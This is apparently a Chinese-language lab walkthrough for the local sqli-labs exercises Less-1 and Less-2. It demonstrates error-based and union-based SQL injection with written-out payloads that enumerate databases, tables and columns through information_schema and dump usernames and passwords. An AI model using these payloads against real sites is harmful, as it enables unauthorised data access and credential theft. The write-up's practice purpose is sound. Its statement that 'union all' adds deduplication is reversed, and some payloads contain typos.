第一步打开phpStudy,点击启动
打开浏览器输入要登录的题目网址.
less-1
在网址后面输?id=1看一下效果和在数字1后面加一个符号’比较一下
从上述错误当中,我们可以看到提交到 sql 中的 1’在经过 sql 语句构造后形成 ‘1’’ LIMIT 0,1, 多加了一个 ’ 。我们可以尝试一下后面加尝试 ‘or 1=1–+
尝试成功,正常返回数据。
接下来对前面的数据进行排序,利用的是order by 加数字–+
order by 加数字,当数字超过 3 就会报错。
介绍 union 联合注入,union 的作用是将两个 sql 语句进行联合。Union 可以从 下面的例子中可以看出,强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。U nion all 与 union 的区别是增加了去重的功能。我们这里根据上述 background 的知识,进行 information_schema 知识的应用。
尝试一下: http://127.0.0.1/sqllib/Less-1/?id=-1’union select 1,2–+
当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返 回了我们构造的 union 的数据。
爆破数据库:
后面加?id=1%27union%20select%201,group_concat(schema_name),3%%20from%20information_schema.schemata–+
爆security数据库的数据表:
后面加:?id=-1%27union%20select%201,group_concat(table_name),3%20f rom%20information_schema.tables%20where%20table_schema=%27security%27–+
爆user表的列:
后面加:?id=-1%27union%20select%201,group_concat(column_name),3%2 0from%20information_schema.columns%20where%20table_name=%27users%27–+
报数据:
后面加:
?id=-1%27union%20select%201,username,password%20from%20 users%20where%20id=2–+
less-2
首先打开第二道题:
后面加?id=1和?id=1’
反应的结果和less-1相同
还是由于单引号引起的抛出异常
仍然使用那两种方法采取保护措施,注释掉剩余的查询。
成功注入的
or 1=1
or 1=1--+
这道题同样可以采用union操作进行注入。